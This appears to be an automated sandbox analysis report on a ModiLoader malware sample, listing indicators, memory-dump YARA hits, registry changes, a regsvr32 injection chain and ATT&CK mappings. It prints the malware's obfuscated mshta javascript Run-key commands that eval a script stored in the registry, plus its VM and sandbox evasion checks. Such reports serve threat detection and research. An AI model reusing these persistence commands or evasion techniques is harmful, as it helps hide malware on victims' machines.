modiloader | 4941aadc8aa9807aef4938e24506e885b01e352a9d30bb73c7a35cc02310419a

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

ModiLoader Second Stage 38 IoCs

resource	yara_rule
behavioral2/memory/3204-9-0x0000000000400000-0x0000000000494000-memory.dmp	modiloader_stage2
behavioral2/memory/3204-11-0x0000000000060000-0x000000000012C000-memory.dmp	modiloader_stage2
behavioral2/memory/3204-12-0x0000000000060000-0x000000000012C000-memory.dmp	modiloader_stage2
behavioral2/memory/3204-15-0x0000000000060000-0x000000000012C000-memory.dmp	modiloader_stage2
behavioral2/memory/3204-14-0x0000000000060000-0x000000000012C000-memory.dmp	modiloader_stage2
behavioral2/memory/3204-13-0x0000000000060000-0x000000000012C000-memory.dmp	modiloader_stage2
behavioral2/memory/3204-16-0x0000000000060000-0x000000000012C000-memory.dmp	modiloader_stage2
behavioral2/memory/3204-22-0x0000000000400000-0x0000000000494000-memory.dmp	modiloader_stage2
behavioral2/memory/864-31-0x00000000008C0000-0x000000000098C000-memory.dmp	modiloader_stage2
behavioral2/memory/864-30-0x00000000008C0000-0x000000000098C000-memory.dmp	modiloader_stage2
behavioral2/memory/864-28-0x00000000008C0000-0x000000000098C000-memory.dmp	modiloader_stage2
behavioral2/memory/864-29-0x00000000008C0000-0x000000000098C000-memory.dmp	modiloader_stage2
behavioral2/memory/864-27-0x00000000008C0000-0x000000000098C000-memory.dmp	modiloader_stage2
behavioral2/memory/864-32-0x00000000008C0000-0x000000000098C000-memory.dmp	modiloader_stage2
behavioral2/memory/1588-43-0x0000000000880000-0x000000000094C000-memory.dmp	modiloader_stage2
behavioral2/memory/1588-47-0x0000000000880000-0x000000000094C000-memory.dmp	modiloader_stage2
behavioral2/memory/1588-48-0x0000000000880000-0x000000000094C000-memory.dmp	modiloader_stage2
behavioral2/memory/1588-46-0x0000000000880000-0x000000000094C000-memory.dmp	modiloader_stage2
behavioral2/memory/1588-45-0x0000000000880000-0x000000000094C000-memory.dmp	modiloader_stage2
behavioral2/memory/1588-44-0x0000000000880000-0x000000000094C000-memory.dmp	modiloader_stage2
behavioral2/memory/1588-54-0x0000000000880000-0x000000000094C000-memory.dmp	modiloader_stage2
behavioral2/memory/1588-52-0x0000000000880000-0x000000000094C000-memory.dmp	modiloader_stage2
behavioral2/memory/1588-57-0x0000000000880000-0x000000000094C000-memory.dmp	modiloader_stage2
behavioral2/memory/1588-56-0x0000000000880000-0x000000000094C000-memory.dmp	modiloader_stage2
behavioral2/memory/1588-55-0x0000000000880000-0x000000000094C000-memory.dmp	modiloader_stage2
behavioral2/memory/1588-51-0x0000000000880000-0x000000000094C000-memory.dmp	modiloader_stage2
behavioral2/memory/1588-50-0x0000000000880000-0x000000000094C000-memory.dmp	modiloader_stage2
behavioral2/memory/1588-53-0x0000000000880000-0x000000000094C000-memory.dmp	modiloader_stage2
behavioral2/memory/1588-49-0x0000000000880000-0x000000000094C000-memory.dmp	modiloader_stage2
behavioral2/memory/3576-62-0x00000000010F0000-0x00000000011BC000-memory.dmp	modiloader_stage2
behavioral2/memory/3576-67-0x00000000010F0000-0x00000000011BC000-memory.dmp	modiloader_stage2
behavioral2/memory/3576-66-0x00000000010F0000-0x00000000011BC000-memory.dmp	modiloader_stage2
behavioral2/memory/3576-65-0x00000000010F0000-0x00000000011BC000-memory.dmp	modiloader_stage2
behavioral2/memory/3576-64-0x00000000010F0000-0x00000000011BC000-memory.dmp	modiloader_stage2
behavioral2/memory/3576-63-0x00000000010F0000-0x00000000011BC000-memory.dmp	modiloader_stage2
behavioral2/memory/1588-68-0x0000000000880000-0x000000000094C000-memory.dmp	modiloader_stage2
behavioral2/memory/1588-69-0x0000000000880000-0x000000000094C000-memory.dmp	modiloader_stage2
behavioral2/memory/2316-74-0x00000000008D0000-0x000000000099C000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:NFFpm1Pxa=\"p\";k6Y=new%20ActiveXObject(\"WScript.Shell\");Goq2yVAq=\"DcOuSUB\";v2enJ=k6Y.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\3030b62cb7\\\\ae4b8acc\");M6w2KwQTIW=\"fgt\";eval(v2enJ);zQpI7qR5a=\"Rv4PuglS\";"	regsvr32.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

pid	Process
1588	regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:C8PzTHt=\"XXJBEqlDE\";UI2=new%20ActiveXObject(\"WScript.Shell\");kfOAI3mXx=\"T\";bC3Zf7=UI2.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\3030b62cb7\\\\ae4b8acc\");LTDEw0YV=\"XqfTtzGZMn\";eval(bC3Zf7);P9BQPEI=\"sPT8\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:jKH5u8kUs=\"x6\";t4g4=new%20ActiveXObject(\"WScript.Shell\");brm6pNNC=\"JP7B\";gc9z3k=t4g4.RegRead(\"HKCU\\\\software\\\\3030b62cb7\\\\ae4b8acc\");x5qLHPh0c=\"TIlW5qxP\";eval(gc9z3k);s5rMNDX=\"1W\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	regsvr32.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ab496c0a4d1f84f12a623dfc97af9808_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\International	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1588	regsvr32.exe
1588	regsvr32.exe
1588	regsvr32.exe
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Suspicious behavior: MapViewOfSection 12 IoCs

pid	Process
3204	ab496c0a4d1f84f12a623dfc97af9808_JaffaCakes118.exe
3204	ab496c0a4d1f84f12a623dfc97af9808_JaffaCakes118.exe
3204	ab496c0a4d1f84f12a623dfc97af9808_JaffaCakes118.exe
864	regsvr32.exe
864	regsvr32.exe
864	regsvr32.exe
1588	regsvr32.exe
1588	regsvr32.exe
1588	regsvr32.exe
1588	regsvr32.exe
1588	regsvr32.exe
1588	regsvr32.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3204 wrote to memory of 864	3204	ab496c0a4d1f84f12a623dfc97af9808_JaffaCakes118.exe	82
PID 3204 wrote to memory of 864	3204	ab496c0a4d1f84f12a623dfc97af9808_JaffaCakes118.exe	82
PID 3204 wrote to memory of 864	3204	ab496c0a4d1f84f12a623dfc97af9808_JaffaCakes118.exe	82
PID 864 wrote to memory of 1588	864	regsvr32.exe	83
PID 864 wrote to memory of 1588	864	regsvr32.exe	83
PID 864 wrote to memory of 1588	864	regsvr32.exe	83
PID 1588 wrote to memory of 3576	1588	regsvr32.exe	84
PID 1588 wrote to memory of 3576	1588	regsvr32.exe	84
PID 1588 wrote to memory of 3576	1588	regsvr32.exe	84
PID 1588 wrote to memory of 2316	1588	regsvr32.exe	89
PID 1588 wrote to memory of 2316	1588	regsvr32.exe	89
PID 1588 wrote to memory of 2316	1588	regsvr32.exe	89

C:\Users\Admin\AppData\Local\Temp\ab496c0a4d1f84f12a623dfc97af9808_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ab496c0a4d1f84f12a623dfc97af9808_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3204
- C:\Windows\SysWOW64\regsvr32.exe
  regsvr32.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:864
- - C:\Windows\SysWOW64\regsvr32.exe
    regsvr32.exe
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    - Adds policy Run key to start application
    - Looks for VMWare Tools registry key
    - Checks BIOS information in registry
    - Deletes itself
    - Adds Run key to start application
    - Maps connected drives based on registry
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:1588
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\SysWOW64\regsvr32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3576
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\SysWOW64\regsvr32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Software Discovery

T1518

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion